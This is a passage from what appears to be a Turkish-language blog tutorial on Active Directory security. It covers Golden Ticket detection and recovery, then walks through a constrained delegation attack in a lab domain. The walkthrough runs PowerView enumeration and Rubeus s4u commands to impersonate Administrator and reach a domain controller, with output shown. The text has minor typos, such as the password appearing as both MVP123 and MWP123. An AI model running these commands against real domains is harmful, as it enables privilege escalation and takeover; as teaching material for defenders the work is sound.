&lt;p&gt;&lt;strong&gt;Kritik bir detay:&lt;/strong&gt; Domain Controller'lar, bir tehdit aktörü ele geçirilmiş makineden Golden Ticket oluşturduğunda &lt;strong&gt;event loglamaz.&lt;/strong&gt; Ancak, saldırgan bu bileti kullanarak &lt;strong&gt;başka bir sisteme erişmeye çalıştığında&lt;/strong&gt;, hedef sistemde başarılı giriş event'leri görünür.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Birinci tespit noktası — Event ID 4624/4625:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Eğer organizasyon PAW kullanıyorsa, ayrıcalıklı kullanıcıların &lt;strong&gt;bu makineler dışından&lt;/strong&gt; kimlik doğrulaması yapmaması beklenir. Farklı bir IP'den gelen giriş = alarm.&lt;/p&gt;

&lt;p&gt;Lab ortamında Golden Ticket kullanılarak başka bir sisteme erişildiğinde Event ID 4624 üretiliyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event 4624 — Başarılı oturum açma

Logon Type:            3
Account Name:          Administrator
Account Domain:        krysthal.local
Logon GUID:            {76f46441-2072-b710-591b-1ae0adc7a0c0}
Source Network Address: 172.16.18.25   ← Ele geçirilmiş makine (PAW değil!)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Event normal görünüyor — ama kaynak IP adresi PAW iş istasyonu değil, sıradan bir makine. Kullanıcı adını kaynak adresiyle korelasyonlayarak anormal aktivite tespit edilebilir.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;İkinci tespit noktası — Önceki TGT olmadan TGS isteği:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;dir \\dc1\c$&lt;/code&gt; komutu çalıştırıldığında DC üzerinde &lt;strong&gt;iki TGS bileti&lt;/strong&gt; üretildi (Event ID 4769). Saldırı senaryosunda bu iki bileti incelemek gerekiyor:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ticket 1 (DC1$ servisi için):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event 4769

Account Name:           Administrator@krysthal.local
Account Domain:         krysthal.local
Logon GUID:             {3c6ed6ab-5fa8-6970-42fe-302018cc30a0}

Service Name:           DC1$
Service ID:             KRYSTHAL\DC1$

Client Address:         ::ffff:172.16.18.25
Client Port:            56212
Ticket Encryption Type: 0x12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ticket 2 (krbtgt servisi için):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Event 4769

Account Name:           Administrator@krysthal.local
Account Domain:         krysthal.local
Logon GUID:             {3c6ed6ab-5fa8-6970-42fe-302018cc30a0}

Service Name:           krbtgt
Service ID:             KRYSTHAL\krbtgt

Client Address:         ::ffff:172.16.18.25
Client Port:            56213
Ticket Encryption Type: 0x12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;İki bilet arasındaki &lt;strong&gt;tek fark&lt;/strong&gt; servis adıdır (DC1$ vs krbtgt). Ancak bu biletler, Golden Ticket ile &lt;strong&gt;ilişkilendirilmemiş&lt;/strong&gt; normal TGS event'leriyle &lt;strong&gt;tamamen aynı görünür&lt;/strong&gt; — bu da tespiti zorlaştırır. Yine, kaynak adres korelasyonu (PAW dışı makineden geliyorsa) en güvenilir tespit yöntemidir.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fihcs7w1qu33a6kjtk769.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fihcs7w1qu33a6kjtk769.png" alt=" " width="392" height="244"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flegau5wep7t9z1cf1o9i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flegau5wep7t9z1cf1o9i.png" alt=" " width="384" height="250"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Üçüncü tespit noktası — SID Filtering:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Eğer domain'ler arası SID filtrelemesi etkinleştirilmişse, cross-domain yetki yükseltme denemesinde &lt;strong&gt;Event ID 4675&lt;/strong&gt; üretilir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önemli Not: Forest Ele Geçirilmişse Ne Yapılmalı?
&lt;/h4&gt;

&lt;p&gt;Eğer bir Active Directory forest'ı ele geçirilmişse, yapılması gerekenler:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Tüm kullanıcıların parolalarını sıfırlayın&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tüm sertifikaları iptal edin (revoke)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;krbtgt&lt;/code&gt; parolasını İKİ KEZ sıfırlayın&lt;/strong&gt; (her domain'de)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Neden iki kez?&lt;/strong&gt; &lt;code&gt;krbtgt&lt;/code&gt; hesabının parola geçmişi değeri &lt;strong&gt;2&lt;/strong&gt;'dir — yani son iki parolayı saklar. Parolayı iki kez sıfırlayarak, eski parolaların tamamen geçmişten silinmesini sağlarsınız. Böylece başka bir DC'nin eski bir parola kullanarak replikasyon yapma ihtimali ortadan kalkar.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ama kritik uyarı:&lt;/strong&gt; İki sıfırlama arasında &lt;strong&gt;en az 10 saat&lt;/strong&gt; beklenmelidir (maksimum kullanıcı bileti ömrü). Daha kısa sürede yapılırsa bazı servislerin bozulması beklenmelidir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot
&lt;/h4&gt;

&lt;p&gt;Bu bölümde &lt;strong&gt;ayrı bir Honeypot alt başlığı bulunmuyor.&lt;/strong&gt; Golden Ticket saldırısı, zaten &lt;code&gt;krbtgt&lt;/code&gt; hash'inin ele geçirilmesini gerektirdiği için (ki bu da DCSync veya NTDS.DIT çalınmasını gerektirir), honeypot kurmanın pratik bir yolu yoktur — asıl savunma, &lt;code&gt;krbtgt&lt;/code&gt; hash'inin korunması ve düzenli sıfırlanmasıdır.&lt;/p&gt;




&lt;h4&gt;
  
  
  Özet Tablosu
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Kriter                    | Golden Ticket                                             |
|---------------------------|-----------------------------------------------------------|
| Saldırı türü              | Kalıcılık (persistence) — ilk erişim değil                |
| Ön koşul                  | krbtgt hash'i (DCSync veya NTDS.DIT ile elde edilir)      |
| Kullanılan araç           | Mimikatz (kerberos::golden)                               |
| Ne elde edilir             | Herhangi bir kullanıcı için sahte TGT — sınırsız yetki    |
| Forest genelinde yükseltme| Evet — alt domain'den üst domain'e geçiş mümkün           |
| Önleme                    | krbtgt parolasını periyodik sıfırla + SIDHistory filtrele  |
| Tespit                    | Event 4624/4625 (PAW korelasyonu) + Event 4675 (SID filt.)|
| Varsayılan bilet ömrü     | Mimikatz: 10 yıl (çok kolay tespit edilir)                |
| Akıllı saldırgan          | /renewmax ve /endin ile kısa ömürlü bilet oluşturur       |
| Forest ele geçirilmişse   | Tüm parolalar sıfırla + krbtgt 2 kez sıfırla (10 sa ara) |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  BÖLÜM 11: KERBEROS CONSTRAINED DELEGATION
&lt;/h3&gt;




&lt;p&gt;&lt;strong&gt;Kerberos Delegasyonu&lt;/strong&gt;, bir uygulamanın &lt;strong&gt;farklı bir sunucuda barındırılan kaynaklara&lt;/strong&gt; erişmesini sağlar.&lt;/p&gt;

&lt;p&gt;Bir web sunucusu var ve arka planda bir SQL veritabanı var. Web sunucusunu çalıştıran servis hesabına veritabanına &lt;strong&gt;doğrudan erişim vermek yerine&lt;/strong&gt;, o hesabın &lt;strong&gt;SQL sunucu servisine delege edilmesine&lt;/strong&gt; izin verebiliriz.&lt;/p&gt;

&lt;p&gt;Peki bu pratikte nasıl işler?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kullanıcı web sitesine giriş yapar&lt;/li&gt;
&lt;li&gt;Web sunucusu servis hesabı, &lt;strong&gt;o kullanıcı adına&lt;/strong&gt; ("on behalf of that user") SQL sunucu servisine erişim ister&lt;/li&gt;
&lt;li&gt;Kullanıcı, kendisine tahsis edilmiş veritabanı içeriğine erişir&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Buradaki kazanç:&lt;/strong&gt; Web sunucusu servis hesabının &lt;strong&gt;kendisine hiçbir erişim atamak zorunda kalmazsınız.&lt;/strong&gt; Yetki kullanıcının kendisinden gelir, servis hesabından değil.&lt;/p&gt;




&lt;h4&gt;
  
  
  Active Directory'deki Üç Delegasyon Türü
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tür&lt;/th&gt;
&lt;th&gt;Yapılandırma nerede tutulur&lt;/th&gt;
&lt;th&gt;Ne yapabilir&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Unconstrained Delegation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;En izin verici / en geniş. Bir hesabın &lt;strong&gt;herhangi bir servise&lt;/strong&gt; delegasyon yapmasına izin verir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Constrained Delegation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Kullanıcı hesabının özelliklerinde&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hesabın &lt;strong&gt;hangi servis(ler)e&lt;/strong&gt; delegasyon yapabileceği belirtilir&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Resource-based Delegation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Delegasyonun yapılacağı bilgisayar nesnesinde&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bilgisayar şu şekilde yapılandırılır: &lt;em&gt;"Ben sadece şu hesaba/hesaplara güveniyorum"&lt;/em&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;**Önemli&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Herhangi bir delegasyon türünün &lt;strong&gt;olası bir güvenlik riski&lt;/strong&gt; olduğunu bilmek ve anlamak son derece önemlidir; gerekli olmadıkça delegasyondan &lt;strong&gt;kaçınmalıyız.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Üretim ortamlarında pratik durum (doküman bunu özellikle belirtiyor):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Resource-based delegation&lt;/strong&gt;'ın bir yönetici tarafından üretim ortamında yapılandırıldığını görmek &lt;strong&gt;nadirdir&lt;/strong&gt;. Bunu genellikle &lt;strong&gt;tehdit aktörleri&lt;/strong&gt; cihazları ele geçirmek için kötüye kullanır.&lt;/li&gt;
&lt;li&gt;Buna karşılık &lt;strong&gt;Unconstrained ve Constrained&lt;/strong&gt; delegasyonlara üretim ortamlarında &lt;strong&gt;sıkça rastlanır.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;Doküman burada net bir sınır çiziyor: &lt;strong&gt;Yalnızca constrained delegation istismarı&lt;/strong&gt; gösterilecek.&lt;/p&gt;

&lt;h5&gt;
  
  
  Saldırının Çalışma Mantığı
&lt;/h5&gt;

&lt;p&gt;Bir hesap delegasyon için güvenilir olduğunda, KDC'ye şöyle bir istek gönderir:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Bana YYYY kullanıcısı için bir Kerberos bileti ver, çünkü ben bu kullanıcıyı ZZZZ servisine delege etmeye yetkiliyim."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ve KDC, YYYY kullanıcısı için bir Kerberos bileti üretir — &lt;strong&gt;YYYY kullanıcısının parolası hiç sağlanmadan.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protokol Geçişi (Protocol Transition):&lt;/strong&gt; Doküman burada çok önemli bir genişleme anlatıyor. Kullanıcı özelliklerinde yapılandırılmamış olsa bile &lt;strong&gt;başka bir servise&lt;/strong&gt; delegasyon yapmak da mümkündür. Örnek olarak veriyor: &lt;code&gt;LDAP&lt;/code&gt; için delegasyon yetkimiz varsa, &lt;strong&gt;protokol geçişi&lt;/strong&gt; yaparak &lt;code&gt;CIFS&lt;/code&gt; veya &lt;code&gt;HTTP&lt;/code&gt; gibi başka herhangi bir servise de yetkilendirilebiliriz.&lt;/p&gt;

&lt;p&gt;Yani yöneticinin "sadece şu servise izin verdim" düşüncesi, pratikte sınırlayıcı olmaktan çıkar.&lt;/p&gt;




&lt;h5&gt;
  
  
  Saldırı Senaryosu
&lt;/h5&gt;

&lt;p&gt;Doküman şu varsayımla başlıyor: &lt;strong&gt;&lt;code&gt;web_service&lt;/code&gt;&lt;/strong&gt; kullanıcısı delegasyon için güvenilir ve &lt;strong&gt;ele geçirilmiş&lt;/strong&gt; durumda. Bu hesabın parolası: &lt;strong&gt;&lt;code&gt;MVP123&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;h5&gt;
  
  
  Adım 1 — Delegasyon için güvenilen hesapları bulma
&lt;/h5&gt;

&lt;p&gt;PowerView'in &lt;strong&gt;&lt;code&gt;Get-NetUser&lt;/code&gt;&lt;/strong&gt; fonksiyonu, domain'de constrained delegation için güvenilen kullanıcı hesaplarını listelemek üzere kullanılıyor:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Get-NetUser&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TrustedToAuth&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Dokümanın notu:&lt;/strong&gt; Egzersiz boyunca &lt;code&gt;-TrustedToAuth&lt;/code&gt; parametresiyle numaralandırma yaparken, &lt;code&gt;C:\Users\infa\Downloads&lt;/code&gt; konumunda bulunan &lt;strong&gt;PowerView-main.ps1&lt;/strong&gt; dosyasını kullanın.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Çıktı (tam hali):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;logoncount                    : 23
badpasswordtime               : 12/31/1601 4:00:00 PM
distinguishedname             : CN=web service,CN=Users,DC=krysthal,DC=local
objectclass                   : {top, person, organizationalPerson, user}
displayname                   : web service
lastlogontimestamp            : 10/13/2026 2:12:22 PM
userprincipalname             : webservice@krysthal.local
name                          : web service
objectsid                     : S-1-5-21-1518138621-4282902758-752445584-2110
samaccountname                : webservice
codepage                      : 0
samaccounttype                : USER_OBJECT
accountexpires                : NEVER
countrycode                   : 0
whenchanged                   : 10/13/2026 9:53:09 PM
instancetype                  : 4
usncreated                    : 135866
objectguid                    : b89f0cea-4c1a-4e92-ac42-f70b5ec432ff
lastlogoff                    : 1/1/1600 12:00:00 AM
msds-allowedtodelegateto      : {http/DC1.krysthal.local/krysthal.local,
                                 http/DC1.krysthal.local, http/DC1,
                                 http/DC1.krysthal.local/KRYSTHAL...}
objectcategory                : CN=Person,CN=Schema,CN=Configuration,DC=krysthal,DC=local
dscorepropagationdata         : 1/1/1601 12:00:00 AM
serviceprincipalname          : {cvs/dc1.krysthal.local, cvs/dc1}
givenname                     : web service
lastlogon                     : 10/14/2026 2:31:39 PM
badpwdcount                   : 0
cn                            : web service
useraccountcontrol            : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
                                TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated                   : 10/13/2026 8:32:35 PM
primarygroupid                : 513
pwdlastset                    : 10/13/2026 10:36:04 PM
msds-supportedencryptiontypes : 0
usnchanged                    : 143463
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;web_service&lt;/code&gt; kullanıcısının, &lt;strong&gt;Domain Controller DC1&lt;/strong&gt;'e &lt;strong&gt;HTTP servisi&lt;/strong&gt; için delegasyon yapmak üzere yapılandırıldığını görüyoruz.&lt;/p&gt;

&lt;p&gt;Ve şu kritik zinciri kuruyor:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;HTTP servisi&lt;/strong&gt;, &lt;strong&gt;PowerShell Remoting&lt;/strong&gt; çalıştırma yeteneği sağlar&lt;/li&gt;
&lt;li&gt;Dolayısıyla &lt;code&gt;web_service&lt;/code&gt; üzerinde kontrol elde eden &lt;strong&gt;herhangi bir tehdit aktörü&lt;/strong&gt;, Active Directory'deki &lt;strong&gt;herhangi bir kullanıcı&lt;/strong&gt; için Kerberos bileti isteyebilir&lt;/li&gt;
&lt;li&gt;Ve bu bileti kullanarak &lt;strong&gt;DC1'e PowerShell Remoting üzerinden bağlanabilir&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h5&gt;
  
  
  Adım 2 — Parolayı NTLM hash'ine çevirme
&lt;/h5&gt;

&lt;p&gt;Doküman bu adımın &lt;strong&gt;neden gerekli&lt;/strong&gt; olduğunu açıkça belirtiyor: Rubeus, sonrasında kullanılacak &lt;code&gt;/rc4&lt;/code&gt; argümanı için &lt;strong&gt;düz metin yerine parola hash'i bekler.&lt;/strong&gt; Bu yüzden &lt;code&gt;MWP123&lt;/code&gt; parolasını önce NTLM hash karşılığına çevirmemiz gerekir:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/password:MWP123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fan4sscywatg09rcw4uvf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fan4sscywatg09rcw4uvf.png" alt=" " width="799" height="295"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Son satırdaki uyarı: AES ve DES hash türlerini hesaplamak istersek &lt;code&gt;/user:X&lt;/code&gt; ve &lt;code&gt;/domain:Y&lt;/code&gt; parametrelerinin de verilmesi gerekiyor. Bu saldırı için RC4 yeterli.&lt;/p&gt;




&lt;h5&gt;
  
  
  Adım 3 — Administrator hesabı için bilet alma
&lt;/h5&gt;

&lt;p&gt;Şimdi Rubeus ile Administrator hesabı için bilet isteniyor:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;s4u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:webservice&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/rc4:FCDC65703DD2B0BD789977F1F3EEAECF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/domain:krysthal.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/impersonateuser:Administrator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/msdsspn:&lt;/span&gt;&lt;span class="s2"&gt;"http/dc1"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/dc:dc1.krysthal.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/ptt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Çıktı:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  v2.0.1

[*] Action: S4U

[*] Using rc4_hmac hash: FCDC65703DD2B0BD789977F1F3EEAECF
[*] Building AS-REQ (w/ preauth) for: 'krysthal.local\webservice'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFiDCCBYSgAwIBBaEDAgEWooIEnjCCBJphggSWMIIEkqADAgEFoQ0bC0VBR0xFLkxPQ0FMoiAwHqAD
AgECoRcwFRsGa3JidGd0GwtlYWdsZS5sb2NhbKOCBFgwggRUoAMCARKhAwIBAqKCBEYEggRCI1ghAg72
moqMS1skuua6aCpknKibZJ6VEsXfyTZgO5IKRDnYHnTJT6hwywSoXpcxbFDDlakB56re10E6f6H9u5Aq
            ...
            ...
            ...
[+] Ticket successfully imported!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Çıktıdaki üç kilit satır:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;[*] Action: S4U&lt;/code&gt; → S4U uzantısı kullanılıyor&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[+] TGT request successful!&lt;/code&gt; → bilet isteği başarılı&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;[+] Ticket successfully imported!&lt;/code&gt; → bilet oturuma içe aktarıldı&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh3p0u5k9pq0e7vriniyj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh3p0u5k9pq0e7vriniyj.png" alt=" " width="800" height="205"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h5&gt;
  
  
  Adım 4 — Biletin oturuma enjekte edildiğini doğrulama
&lt;/h5&gt;

&lt;p&gt;Doküman şunu söylüyor: Rubeus'un bileti mevcut oturuma enjekte ettiğini doğrulamak için &lt;code&gt;klist&lt;/code&gt; komutunu kullanabiliriz.&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;PS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;C:\Users\infa\Downloads&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;klist&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Burada dikkat edilecek iki satır: &lt;code&gt;Client: Administrator&lt;/code&gt; ve &lt;code&gt;Server: http/dc1&lt;/code&gt; — yani bilet artık Administrator'a ait ve DC1'in HTTP servisi için geçerli.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3ukksx9g9zegd8k5ltch.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3ukksx9g9zegd8k5ltch.png" alt=" " width="800" height="187"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h5&gt;
  
  
  Adım 5 — Domain Controller'a bağlanma
&lt;/h5&gt;

&lt;p&gt;Bilet hazır olduğuna göre, &lt;strong&gt;Administrator hesabının kimliğine bürünerek&lt;/strong&gt; Domain Controller'a bağlanılıyor:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvorsig6uus1zxgvuv6dt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fvorsig6uus1zxgvuv6dt.png" alt=" " width="799" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Saldırı tamamlandı: &lt;code&gt;hostname&lt;/code&gt; çıktısı &lt;strong&gt;DC1&lt;/strong&gt;, &lt;code&gt;whoami&lt;/code&gt; çıktısı &lt;strong&gt;krysthal\administrator&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Dokümanın verdiği iki ek not:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Sorun giderme:&lt;/strong&gt; Son adım başarısız olursa — &lt;code&gt;klist purge&lt;/code&gt; yapmamız, yeni biletler almamız ve makineyi yeniden başlatarak tekrar denememiz gerekebilir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Genişletme:&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;/altservice&lt;/code&gt;&lt;/strong&gt; argümanı ile &lt;strong&gt;birden fazla servis&lt;/strong&gt; için de bilet isteyebiliriz — örneğin &lt;code&gt;LDAP&lt;/code&gt;, &lt;code&gt;CFIS&lt;/code&gt;, &lt;code&gt;time&lt;/code&gt; ve &lt;code&gt;host&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

